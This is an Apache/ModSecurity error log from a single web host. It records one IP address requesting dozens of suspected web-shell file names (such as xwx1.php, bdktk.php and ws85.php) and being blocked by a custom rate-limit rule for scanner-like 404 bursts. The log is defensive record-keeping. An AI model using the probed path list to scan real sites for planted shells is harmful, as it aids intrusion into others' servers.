[Sat Apr 18 02:26:52.579038 2026] [:error] [pid 63702:tid 63758] [client 4.235.108.154:3584] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/img.php"] [unique_id "aeJ7bMTL05PWYsKqTEYpoQAAAVE"]
[Sat Apr 18 02:26:53.384219 2026] [:error] [pid 59043:tid 59077] [client 4.235.108.154:3938] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/img.php"] [unique_id "aeJ7bYRtUGE9SfUh2wwgrQAAAEM"]
[Sat Apr 18 02:26:55.614298 2026] [:error] [pid 63702:tid 63751] [client 4.235.108.154:3944] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/img.php"] [unique_id "aeJ7b8TL05PWYsKqTEYprAAAAUs"]
[Sat Apr 18 02:26:56.443488 2026] [:error] [pid 59136:tid 59157] [client 4.235.108.154:59365] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/img.php"] [unique_id "aeJ7cCaoiUyiIR3EhLXMuAAAANI"]
[Sat Apr 18 02:26:58.416819 2026] [:error] [pid 63702:tid 63743] [client 4.235.108.154:3627] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12.php"] [unique_id "aeJ7csTL05PWYsKqTEYpswAAAUQ"]
[Sat Apr 18 02:27:00.275022 2026] [:error] [pid 59044:tid 59107] [client 4.235.108.154:3905] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12.php"] [unique_id "aeJ7dAFamkFyEtD_SMHOKwAAAIY"]
[Sat Apr 18 02:27:00.996846 2026] [:error] [pid 59136:tid 59161] [client 4.235.108.154:3867] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12.php"] [unique_id "aeJ7dCaoiUyiIR3EhLXMwwAAANY"]
[Sat Apr 18 02:27:03.111425 2026] [:error] [pid 42442:tid 42454] [client 4.235.108.154:3603] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12.php"] [unique_id "aeJ7dz4PBGqL_yqPJ8lNOwAAAQo"]
[Sat Apr 18 02:27:04.914163 2026] [:error] [pid 42442:tid 42466] [client 4.235.108.154:3092] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aeJ7eD4PBGqL_yqPJ8lNSgAAARY"]
[Sat Apr 18 02:27:08.642102 2026] [:error] [pid 42442:tid 42455] [client 4.235.108.154:59339] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aeJ7fD4PBGqL_yqPJ8lNWwAAAQs"]
[Sat Apr 18 02:27:10.934521 2026] [:error] [pid 59042:tid 59065] [client 4.235.108.154:3123] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aeJ7fp6p5oql0UklEBJkHwAAABI"]
[Sat Apr 18 02:27:18.094177 2026] [:error] [pid 63702:tid 63765] [client 4.235.108.154:3950] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aeJ7hsTL05PWYsKqTEYpzQAAAVg"]
[Sat Apr 18 02:27:20.623550 2026] [:error] [pid 59044:tid 59120] [client 4.235.108.154:59369] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aeJ7iAFamkFyEtD_SMHOPQAAAJM"]
[Sat Apr 18 02:27:25.569444 2026] [:error] [pid 59043:tid 59077] [client 4.235.108.154:3468] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aeJ7jYRtUGE9SfUh2wwg0gAAAEM"]
[Sat Apr 18 02:27:27.841772 2026] [:error] [pid 59044:tid 59121] [client 4.235.108.154:3101] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aeJ7jwFamkFyEtD_SMHOTQAAAJQ"]
[Sat Apr 18 02:27:30.242385 2026] [:error] [pid 42442:tid 42466] [client 4.235.108.154:3460] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aeJ7kj4PBGqL_yqPJ8lNegAAARY"]
[Sat Apr 18 02:27:33.225515 2026] [:error] [pid 63702:tid 63762] [client 4.235.108.154:3625] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "aeJ7lcTL05PWYsKqTEYp8QAAAVU"]
[Sat Apr 18 02:27:54.115452 2026] [proxy_fcgi:error] [pid 59042:tid 59071] [client 4.235.108.154:3655] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:27:54.393466 2026] [proxy_fcgi:error] [pid 59042:tid 59047] [client 4.235.108.154:3655] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:27:54.658355 2026] [proxy_fcgi:error] [pid 59042:tid 59059] [client 4.235.108.154:3655] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:27:54.929312 2026] [proxy_fcgi:error] [pid 59042:tid 59056] [client 4.235.108.154:3655] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:27:55.258435 2026] [proxy_fcgi:error] [pid 59042:tid 59069] [client 4.235.108.154:3655] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:27:55.529371 2026] [proxy_fcgi:error] [pid 59042:tid 59050] [client 4.235.108.154:3655] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:27:55.792909 2026] [proxy_fcgi:error] [pid 59042:tid 59067] [client 4.235.108.154:3655] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:27:56.067728 2026] [proxy_fcgi:error] [pid 59042:tid 59065] [client 4.235.108.154:3655] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:27:56.791354 2026] [proxy_fcgi:error] [pid 59042:tid 59060] [client 4.235.108.154:3655] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:27:57.072081 2026] [proxy_fcgi:error] [pid 59042:tid 59052] [client 4.235.108.154:3655] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:27:57.338919 2026] [proxy_fcgi:error] [pid 59042:tid 59063] [client 4.235.108.154:3655] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:27:57.607568 2026] [:error] [pid 59042:tid 59051] [client 4.235.108.154:3655] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bdktk.php"] [unique_id "aeJ7rZ6p5oql0UklEBJkdwAAAAQ"]
[Sat Apr 18 02:27:59.313158 2026] [:error] [pid 59043:tid 59075] [client 4.235.108.154:3475] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bdktk.php"] [unique_id "aeJ7r4RtUGE9SfUh2wwhCgAAAEE"]
[Sat Apr 18 02:28:07.071606 2026] [:error] [pid 59042:tid 59066] [client 4.235.108.154:3113] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bdktk.php"] [unique_id "aeJ7t56p5oql0UklEBJkjgAAABM"]
[Sat Apr 18 02:28:09.395964 2026] [:error] [pid 42442:tid 42449] [client 4.235.108.154:3078] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bdktk.php"] [unique_id "aeJ7uT4PBGqL_yqPJ8lOEQAAAQU"]
[Sat Apr 18 02:28:10.274685 2026] [:error] [pid 42442:tid 42448] [client 4.235.108.154:3935] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v5.php"] [unique_id "aeJ7uj4PBGqL_yqPJ8lOFAAAAQQ"]
[Sat Apr 18 02:28:11.568782 2026] [:error] [pid 59043:tid 59083] [client 4.235.108.154:3480] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v5.php"] [unique_id "aeJ7u4RtUGE9SfUh2wwhHgAAAEk"]
[Sat Apr 18 02:28:37.075022 2026] [:error] [pid 59136:tid 59145] [client 4.235.108.154:59345] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws85.php"] [unique_id "aeJ71SaoiUyiIR3EhLXNCQAAAMY"]
[Sat Apr 18 02:28:43.117878 2026] [:error] [pid 42442:tid 42462] [client 4.235.108.154:3476] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws85.php"] [unique_id "aeJ72z4PBGqL_yqPJ8lOhAAAARI"]
[Sat Apr 18 02:28:44.370480 2026] [:error] [pid 42442:tid 42451] [client 4.235.108.154:3117] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws85.php"] [unique_id "aeJ73D4PBGqL_yqPJ8lOjgAAAQc"]
[Sat Apr 18 02:28:49.490172 2026] [:error] [pid 63702:tid 63765] [client 4.235.108.154:3124] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws85.php"] [unique_id "aeJ74cTL05PWYsKqTEYqkAAAAVg"]
[Sat Apr 18 02:28:55.255811 2026] [:error] [pid 59043:tid 59080] [client 4.235.108.154:3919] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws87.php"] [unique_id "aeJ754RtUGE9SfUh2wwhNwAAAEY"]
[Sat Apr 18 02:28:57.673923 2026] [proxy_fcgi:error] [pid 63702:tid 63737] [client 4.235.108.154:3949] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:28:57.937033 2026] [proxy_fcgi:error] [pid 63702:tid 63764] [client 4.235.108.154:3949] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:28:58.429409 2026] [proxy_fcgi:error] [pid 63702:tid 63759] [client 4.235.108.154:3949] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:28:58.698293 2026] [proxy_fcgi:error] [pid 63702:tid 63761] [client 4.235.108.154:3949] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:28:59.026966 2026] [proxy_fcgi:error] [pid 63702:tid 63758] [client 4.235.108.154:3949] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:28:59.314014 2026] [proxy_fcgi:error] [pid 63702:tid 63753] [client 4.235.108.154:3949] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:28:59.577317 2026] [proxy_fcgi:error] [pid 63702:tid 63740] [client 4.235.108.154:3949] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:28:59.990836 2026] [proxy_fcgi:error] [pid 63702:tid 63739] [client 4.235.108.154:3949] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:29:00.254844 2026] [proxy_fcgi:error] [pid 63702:tid 63757] [client 4.235.108.154:3949] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:29:00.530933 2026] [proxy_fcgi:error] [pid 63702:tid 63759] [client 4.235.108.154:3949] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:29:00.795524 2026] [proxy_fcgi:error] [pid 63702:tid 63761] [client 4.235.108.154:3949] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:29:01.086944 2026] [:error] [pid 63702:tid 63765] [client 4.235.108.154:3949] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/areak1.php"] [unique_id "aeJ77cTL05PWYsKqTEYqvQAAAVg"]
[Sat Apr 18 02:29:01.887928 2026] [:error] [pid 59043:tid 59076] [client 4.235.108.154:3485] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/areak1.php"] [unique_id "aeJ77YRtUGE9SfUh2wwhPAAAAEI"]
[Sat Apr 18 02:29:02.975226 2026] [:error] [pid 59042:tid 59053] [client 4.235.108.154:59353] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/areak1.php"] [unique_id "aeJ77p6p5oql0UklEBJktwAAAAY"]
[Sat Apr 18 02:29:03.915790 2026] [:error] [pid 63702:tid 63754] [client 4.235.108.154:3668] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/areak1.php"] [unique_id "aeJ778TL05PWYsKqTEYqwwAAAU0"]
[Sat Apr 18 02:29:04.776781 2026] [:error] [pid 59044:tid 59121] [client 4.235.108.154:3590] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qqa.php"] [unique_id "aeJ78AFamkFyEtD_SMHOoAAAAJQ"]
[Sat Apr 18 02:29:06.184653 2026] [:error] [pid 42442:tid 42463] [client 4.235.108.154:59371] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qqa.php"] [unique_id "aeJ78j4PBGqL_yqPJ8lOxgAAARM"]
[Sat Apr 18 02:29:07.587652 2026] [:error] [pid 59044:tid 59120] [client 4.235.108.154:3967] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qqa.php"] [unique_id "aeJ78wFamkFyEtD_SMHOoQAAAJM"]
[Sat Apr 18 02:29:08.205299 2026] [:error] [pid 63702:tid 63760] [client 4.235.108.154:3644] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qqa.php"] [unique_id "aeJ79MTL05PWYsKqTEYqyQAAAVM"]
[Sat Apr 18 02:29:10.571123 2026] [:error] [pid 63702:tid 63741] [client 4.235.108.154:3920] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeJ79sTL05PWYsKqTEYq2QAAAUM"]
[Sat Apr 18 02:29:12.082051 2026] [:error] [pid 63702:tid 63756] [client 4.235.108.154:59390] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeJ7-MTL05PWYsKqTEYq5QAAAU8"]
[Sat Apr 18 02:29:14.766811 2026] [:error] [pid 63702:tid 63740] [client 4.235.108.154:3612] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeJ7-sTL05PWYsKqTEYq6QAAAUI"]
[Sat Apr 18 02:29:16.652090 2026] [:error] [pid 59042:tid 59054] [client 4.235.108.154:3924] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeJ7_J6p5oql0UklEBJk9QAAAAc"]
[Sat Apr 18 02:29:18.806118 2026] [:error] [pid 59042:tid 59067] [client 4.235.108.154:3130] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ga.php"] [unique_id "aeJ7_p6p5oql0UklEBJlBgAAABQ"]
[Sat Apr 18 02:29:21.064603 2026] [:error] [pid 63702:tid 63763] [client 4.235.108.154:3933] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ga.php"] [unique_id "aeJ8AcTL05PWYsKqTEYq9QAAAVY"]
[Sat Apr 18 02:29:22.657302 2026] [:error] [pid 42442:tid 42449] [client 4.235.108.154:3610] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ga.php"] [unique_id "aeJ8Aj4PBGqL_yqPJ8lO7QAAAQU"]
[Sat Apr 18 02:29:23.784652 2026] [:error] [pid 63702:tid 63739] [client 4.235.108.154:3624] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ga.php"] [unique_id "aeJ8A8TL05PWYsKqTEYq-wAAAUE"]
[Sat Apr 18 02:29:25.143324 2026] [:error] [pid 42442:tid 42458] [client 4.235.108.154:3077] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xozx.php"] [unique_id "aeJ8BT4PBGqL_yqPJ8lO8wAAAQ4"]
[Sat Apr 18 02:29:26.498329 2026] [:error] [pid 59043:tid 59077] [client 4.235.108.154:3458] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xozx.php"] [unique_id "aeJ8BoRtUGE9SfUh2wwhXQAAAEM"]
[Sat Apr 18 02:29:30.497117 2026] [:error] [pid 59136:tid 59152] [client 4.235.108.154:3124] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xozx.php"] [unique_id "aeJ8CiaoiUyiIR3EhLXNNAAAAM0"]
[Sat Apr 18 02:29:32.740299 2026] [:error] [pid 59043:tid 59082] [client 4.235.108.154:3459] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xozx.php"] [unique_id "aeJ8DIRtUGE9SfUh2wwhaQAAAEg"]
[Sat Apr 18 02:29:33.914448 2026] [:error] [pid 63702:tid 63739] [client 4.235.108.154:59375] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1100.php"] [unique_id "aeJ8DcTL05PWYsKqTEYrCQAAAUE"]
[Sat Apr 18 02:29:35.760801 2026] [:error] [pid 63702:tid 63762] [client 4.235.108.154:3586] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1100.php"] [unique_id "aeJ8D8TL05PWYsKqTEYrEgAAAVU"]
